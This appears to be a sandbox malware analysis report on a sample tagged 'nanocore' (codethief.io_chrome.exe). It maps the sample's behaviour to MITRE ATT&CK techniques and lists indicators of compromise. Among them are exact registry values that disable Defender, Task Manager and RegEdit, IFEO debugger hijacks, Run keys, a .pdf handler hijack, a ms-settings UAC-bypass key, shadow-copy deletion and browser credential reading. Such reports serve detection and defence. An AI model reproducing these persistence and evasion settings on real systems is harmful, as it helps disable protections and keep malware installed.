nanocore | 0fe3c68b749112498f5ccc00285bc32994a2396579f6e919d4fb5fe705026fee

Windows Service

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	codethief.io_chrome.exe

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4560	powershell.exe

Disables RegEdit via registry modification 1 IoCs

defense_evasion

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-3989226554-2204910950-1522900112-1000\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1"	codethief.io_chrome.exe

Disables Task Manager via registry modification
defense_evasion

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	codethief.io_chrome.exe

Event Triggered Execution: Image File Execution Options Injection 1 TTPs 6 IoCs

persistence

Image File Execution Options Injection

T1546.012

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe	codethief.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\codethief.io_chrome.exe"	codethief.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe	codethief.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\codethief.io_chrome.exe"	codethief.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe	codethief.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\codethief.io_chrome.exe"	codethief.io_chrome.exe

Modifies Windows Firewall 2 TTPs 1 IoCs

defense_evasion

Windows Service

persistence privilege_escalation

Disable or Modify System Firewall

T1562.004

pid	Process
4408	netsh.exe

Creates a file in the Startup directory 1 TTPs 64 IoCs

A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

Registry Run Keys / Startup Folder

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_13.pdf	codethief.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_39.pdf	codethief.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_94.pdf	codethief.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_112.pdf	codethief.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_116.pdf	codethief.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_127.pdf	codethief.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_140.pdf	codethief.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_164.pdf	codethief.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_35.pdf	codethief.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_40.pdf	codethief.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_66.pdf	codethief.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_71.pdf	codethief.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_90.pdf	codethief.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_109.pdf	codethief.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_117.pdf	codethief.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_119.pdf	codethief.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_55.pdf	codethief.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_58.pdf	codethief.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_85.pdf	codethief.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_130.pdf	codethief.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_133.pdf	codethief.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_141.pdf	codethief.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_145.pdf	codethief.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_162.pdf	codethief.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_7.pdf	codethief.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_50.pdf	codethief.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_98.pdf	codethief.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_153.pdf	codethief.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_171.pdf	codethief.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_173.pdf	codethief.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_178.pdf	codethief.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_180.pdf	codethief.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_21.pdf	codethief.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_70.pdf	codethief.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_106.pdf	codethief.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_180.pdf	codethief.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_181.pdf	codethief.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_186.pdf	codethief.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_200.pdf	codethief.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_56.pdf	codethief.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_67.pdf	codethief.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_75.pdf	codethief.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_174.pdf	codethief.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_188.pdf	codethief.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_67.pdf	codethief.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_74.pdf	codethief.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_135.pdf	codethief.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_163.pdf	codethief.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_176.pdf	codethief.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_194.pdf	codethief.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_14.pdf	codethief.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_6.pdf	codethief.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_28.pdf	codethief.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_62.pdf	codethief.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_150.pdf	codethief.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_184.pdf	codethief.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_46.pdf	codethief.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_48.pdf	codethief.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_144.pdf	codethief.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_152.pdf	codethief.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_199.pdf	codethief.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_21.pdf	codethief.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_62.pdf	codethief.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_133.pdf	codethief.io_chrome.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Adds Run key to start application 2 TTPs 3 IoCs

persistence

Registry Run Keys / Startup Folder

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3989226554-2204910950-1522900112-1000\Software\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\codethief.io_chrome.exe"	codethief.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\codethief.io_chrome.exe"	codethief.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Malware = "C:\\Users\\Admin\\AppData\\Local\\Temp\\codethief.io_chrome.exe"	codethief.io_chrome.exe

Discovers running processes 1 TTPs 1 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

discovery

Process Discovery

T1057

pid	Process
3920	tasklist.exe

Drops file in System32 directory 3 IoCs

description	ioc	Process
File created	C:\Windows\system32\svchost.exe	codethief.io_chrome.exe
File created	C:\Windows\system32\sysupdate.exe	codethief.io_chrome.exe
File opened for modification	C:\Windows\system32\sysupdate.exe	codethief.io_chrome.exe

Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs

execution

Visual Basic

T1059.005

pid	Process
2744	wscript.exe
1064	wscript.exe

Sets desktop wallpaper using registry 2 TTPs 2 IoCs

ransomware

Defacement

T1491

Modify Registry

persistence privilege_escalation

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3989226554-2204910950-1522900112-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\wallpaper.bmp"	codethief.io_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3989226554-2204910950-1522900112-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\SysUpdate\\wall.bmp"	codethief.io_chrome.exe

Launches sc.exe 12 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
5196	sc.exe
5096	sc.exe
1896	sc.exe
3576	sc.exe
2272	sc.exe
3620	sc.exe
2108	sc.exe
2884	sc.exe
4396	sc.exe
5856	sc.exe
2804	sc.exe
4400	sc.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Executes a command shell one-liner 1 TTPs 7 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3456	cmd.exe
4192	cmd.exe
1912	cmd.exe
6096	cmd.exe
5856	cmd.exe
5864	cmd.exe
1276	cmd.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
1508	chrome.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

Gathers network information 2 TTPs 2 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

Command and Scripting Interpreter

T1059

pid	Process
320	ipconfig.exe
6004	NETSTAT.EXE

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

pid	Process
4100	systeminfo.exe

Interacts with shadow copies 3 TTPs 3 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
6040	vssadmin.exe
4080	vssadmin.exe
5796	vssadmin.exe

Modifies Control Panel 1 IoCs

defense_evasion

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3989226554-2204910950-1522900112-1000\Control Panel\Desktop\WallpaperStyle = "2"	codethief.io_chrome.exe

Modifies data under HKEY_USERS 9 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134305383741666316"	chrome.exe
Key created	\REGISTRY\USER\S-1-5-19	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE	svchost.exe

Modifies registry class 16 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.pdf\ = "PDFBotnet"	codethief.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command	codethief.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command\ = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\codethief.io_chrome.exe\" \"%1\""	codethief.io_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3989226554-2204910950-1522900112-1000_Classes\ms-settings\shell\open\command\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\codethief.io_chrome.exe"	codethief.io_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-3989226554-2204910950-1522900112-1000_Classes\ms-settings\shell	codethief.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet	codethief.io_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-3989226554-2204910950-1522900112-1000_Classes\ms-settings	codethief.io_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-3989226554-2204910950-1522900112-1000_Classes\ms-settings	codethief.io_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3989226554-2204910950-1522900112-1000_Classes\ms-settings\shell\open\command\DelegateExecute	codethief.io_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-3989226554-2204910950-1522900112-1000_Classes\ms-settings\shell\open\command	codethief.io_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-3989226554-2204910950-1522900112-1000_Classes\ms-settings\shell\open	codethief.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell	codethief.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open	codethief.io_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-3989226554-2204910950-1522900112-1000_Classes\ms-settings\shell\open\command	codethief.io_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-3989226554-2204910950-1522900112-1000_Classes\ms-settings\shell	codethief.io_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-3989226554-2204910950-1522900112-1000_Classes\ms-settings\shell\open	codethief.io_chrome.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
4820	schtasks.exe
5268	schtasks.exe
920	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
5144	chrome.exe
5144	chrome.exe
4560	powershell.exe
4560	powershell.exe
4560	powershell.exe
6048	WMIC.exe
6048	WMIC.exe
6048	WMIC.exe
6048	WMIC.exe
4136	codethief.io_chrome.exe
4136	codethief.io_chrome.exe
4136	codethief.io_chrome.exe
4136	codethief.io_chrome.exe
4136	codethief.io_chrome.exe
4136	codethief.io_chrome.exe
4136	codethief.io_chrome.exe
4136	codethief.io_chrome.exe
4136	codethief.io_chrome.exe
4136	codethief.io_chrome.exe
6020	WMIC.exe
6020	WMIC.exe
6020	WMIC.exe
6020	WMIC.exe
920	WMIC.exe
920	WMIC.exe
920	WMIC.exe
920	WMIC.exe
4136	codethief.io_chrome.exe
4136	codethief.io_chrome.exe
4136	codethief.io_chrome.exe
4136	codethief.io_chrome.exe
4136	codethief.io_chrome.exe
4136	codethief.io_chrome.exe
4136	codethief.io_chrome.exe
4136	codethief.io_chrome.exe
4136	codethief.io_chrome.exe
4136	codethief.io_chrome.exe
4136	codethief.io_chrome.exe
4136	codethief.io_chrome.exe
4136	codethief.io_chrome.exe
4136	codethief.io_chrome.exe
4136	codethief.io_chrome.exe
4136	codethief.io_chrome.exe
4136	codethief.io_chrome.exe
4136	codethief.io_chrome.exe
4136	codethief.io_chrome.exe
4136	codethief.io_chrome.exe
4136	codethief.io_chrome.exe
4136	codethief.io_chrome.exe
4136	codethief.io_chrome.exe
4136	codethief.io_chrome.exe
4136	codethief.io_chrome.exe
4136	codethief.io_chrome.exe
4136	codethief.io_chrome.exe
4136	codethief.io_chrome.exe
4136	codethief.io_chrome.exe
4136	codethief.io_chrome.exe
4136	codethief.io_chrome.exe
4136	codethief.io_chrome.exe
4136	codethief.io_chrome.exe
4136	codethief.io_chrome.exe
4136	codethief.io_chrome.exe
4136	codethief.io_chrome.exe
4136	codethief.io_chrome.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
4136	codethief.io_chrome.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 13 IoCs

pid	Process
5144	chrome.exe
5144	chrome.exe
5144	chrome.exe
5144	chrome.exe
5144	chrome.exe
5144	chrome.exe
5144	chrome.exe
5144	chrome.exe
5144	chrome.exe
5144	chrome.exe
5144	chrome.exe
5144	chrome.exe
5144	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	5144	chrome.exe
Token: SeCreatePagefilePrivilege	5144	chrome.exe
Token: SeDebugPrivilege	4560	powershell.exe
Token: SeShutdownPrivilege	5144	chrome.exe
Token: SeCreatePagefilePrivilege	5144	chrome.exe
Token: SeShutdownPrivilege	5144	chrome.exe
Token: SeCreatePagefilePrivilege	5144	chrome.exe
Token: SeShutdownPrivilege	5144	chrome.exe
Token: SeCreatePagefilePrivilege	5144	chrome.exe
Token: SeShutdownPrivilege	5144	chrome.exe
Token: SeCreatePagefilePrivilege	5144	chrome.exe
Token: SeShutdownPrivilege	5144	chrome.exe
Token: SeCreatePagefilePrivilege	5144	chrome.exe
Token: SeShutdownPrivilege	5144	chrome.exe
Token: SeCreatePagefilePrivilege	5144	chrome.exe
Token: SeIncreaseQuotaPrivilege	6048	WMIC.exe
Token: SeSecurityPrivilege	6048	WMIC.exe
Token: SeTakeOwnershipPrivilege	6048	WMIC.exe
Token: SeLoadDriverPrivilege	6048	WMIC.exe
Token: SeSystemProfilePrivilege	6048	WMIC.exe
Token: SeSystemtimePrivilege	6048	WMIC.exe
Token: SeProfSingleProcessPrivilege	6048	WMIC.exe
Token: SeIncBasePriorityPrivilege	6048	WMIC.exe
Token: SeCreatePagefilePrivilege	6048	WMIC.exe
Token: SeBackupPrivilege	6048	WMIC.exe
Token: SeRestorePrivilege	6048	WMIC.exe
Token: SeShutdownPrivilege	6048	WMIC.exe
Token: SeDebugPrivilege	6048	WMIC.exe
Token: SeSystemEnvironmentPrivilege	6048	WMIC.exe
Token: SeRemoteShutdownPrivilege	6048	WMIC.exe
Token: SeUndockPrivilege	6048	WMIC.exe
Token: SeManageVolumePrivilege	6048	WMIC.exe
Token: 33	6048	WMIC.exe
Token: 34	6048	WMIC.exe
Token: 35	6048	WMIC.exe
Token: 36	6048	WMIC.exe
Token: SeBackupPrivilege	4608	vssvc.exe
Token: SeRestorePrivilege	4608	vssvc.exe
Token: SeAuditPrivilege	4608	vssvc.exe
Token: SeIncreaseQuotaPrivilege	6048	WMIC.exe
Token: SeSecurityPrivilege	6048	WMIC.exe
Token: SeTakeOwnershipPrivilege	6048	WMIC.exe
Token: SeLoadDriverPrivilege	6048	WMIC.exe
Token: SeSystemProfilePrivilege	6048	WMIC.exe
Token: SeSystemtimePrivilege	6048	WMIC.exe
Token: SeProfSingleProcessPrivilege	6048	WMIC.exe
Token: SeIncBasePriorityPrivilege	6048	WMIC.exe
Token: SeCreatePagefilePrivilege	6048	WMIC.exe
Token: SeBackupPrivilege	6048	WMIC.exe
Token: SeRestorePrivilege	6048	WMIC.exe
Token: SeShutdownPrivilege	6048	WMIC.exe
Token: SeDebugPrivilege	6048	WMIC.exe
Token: SeSystemEnvironmentPrivilege	6048	WMIC.exe
Token: SeRemoteShutdownPrivilege	6048	WMIC.exe
Token: SeUndockPrivilege	6048	WMIC.exe
Token: SeManageVolumePrivilege	6048	WMIC.exe
Token: 33	6048	WMIC.exe
Token: 34	6048	WMIC.exe
Token: 35	6048	WMIC.exe
Token: 36	6048	WMIC.exe
Token: SeShutdownPrivilege	5144	chrome.exe
Token: SeCreatePagefilePrivilege	5144	chrome.exe
Token: SeShutdownPrivilege	5144	chrome.exe
Token: SeCreatePagefilePrivilege	5144	chrome.exe

Suspicious use of FindShellTrayWindow 34 IoCs

pid	Process
5144	chrome.exe
5144	chrome.exe
5144	chrome.exe
5144	chrome.exe
5144	chrome.exe
5144	chrome.exe
5144	chrome.exe
5144	chrome.exe
5144	chrome.exe
5144	chrome.exe
5144	chrome.exe
5144	chrome.exe
5144	chrome.exe
5144	chrome.exe
5144	chrome.exe
5144	chrome.exe
5144	chrome.exe
5144	chrome.exe
5144	chrome.exe
5144	chrome.exe
5144	chrome.exe
5144	chrome.exe
5144	chrome.exe
5144	chrome.exe
5144	chrome.exe
5144	chrome.exe
5144	chrome.exe
5144	chrome.exe
5144	chrome.exe
5144	chrome.exe
5144	chrome.exe
5144	chrome.exe
5144	chrome.exe
5144	chrome.exe

Suspicious use of SendNotifyMessage 16 IoCs

pid	Process
5144	chrome.exe
5144	chrome.exe
5144	chrome.exe
5144	chrome.exe
5144	chrome.exe
5144	chrome.exe
5144	chrome.exe
5144	chrome.exe
5144	chrome.exe
5144	chrome.exe
5144	chrome.exe
5144	chrome.exe
5144	chrome.exe
5144	chrome.exe
5144	chrome.exe
5144	chrome.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
4136	codethief.io_chrome.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4136 wrote to memory of 5144	4136	codethief.io_chrome.exe	89
PID 5144 wrote to memory of 3880	5144	chrome.exe	90
PID 4136 wrote to memory of 4560	4136	codethief.io_chrome.exe	91
PID 4136 wrote to memory of 2272	4136	codethief.io_chrome.exe	93
PID 5144 wrote to memory of 2276	5144	chrome.exe	95
PID 5144 wrote to memory of 1508	5144	chrome.exe	94
PID 5144 wrote to memory of 2276	5144	chrome.exe	95
PID 5144 wrote to memory of 1520	5144	chrome.exe	96
PID 5144 wrote to memory of 1520	5144	chrome.exe	96
PID 5144 wrote to memory of 4216	5144	chrome.exe	99
PID 5144 wrote to memory of 2368	5144	chrome.exe	100
PID 5144 wrote to memory of 4216	5144	chrome.exe	99
PID 5144 wrote to memory of 2368	5144	chrome.exe	100
PID 4136 wrote to memory of 3620	4136	codethief.io_chrome.exe	101
PID 4136 wrote to memory of 5196	4136	codethief.io_chrome.exe	103
PID 4136 wrote to memory of 5096	4136	codethief.io_chrome.exe	105
PID 4136 wrote to memory of 2108	4136	codethief.io_chrome.exe	107
PID 5144 wrote to memory of 4456	5144	chrome.exe	109
PID 5144 wrote to memory of 4456	5144	chrome.exe	109
PID 4136 wrote to memory of 2884	4136	codethief.io_chrome.exe	110
PID 4136 wrote to memory of 4396	4136	codethief.io_chrome.exe	112
PID 4136 wrote to memory of 5856	4136	codethief.io_chrome.exe	145
PID 5144 wrote to memory of 1904	5144	chrome.exe	115
PID 5144 wrote to memory of 1904	5144	chrome.exe	115
PID 4136 wrote to memory of 3412	4136	codethief.io_chrome.exe	117
PID 4136 wrote to memory of 1896	4136	codethief.io_chrome.exe	118
PID 4136 wrote to memory of 3576	4136	codethief.io_chrome.exe	150
PID 4136 wrote to memory of 6040	4136	codethief.io_chrome.exe	122
PID 4136 wrote to memory of 6048	4136	codethief.io_chrome.exe	124
PID 4136 wrote to memory of 2744	4136	codethief.io_chrome.exe	131
PID 4136 wrote to memory of 4820	4136	codethief.io_chrome.exe	132
PID 4136 wrote to memory of 920	4136	codethief.io_chrome.exe	178
PID 4136 wrote to memory of 3456	4136	codethief.io_chrome.exe	139
PID 4136 wrote to memory of 1912	4136	codethief.io_chrome.exe	141
PID 4136 wrote to memory of 4192	4136	codethief.io_chrome.exe	142
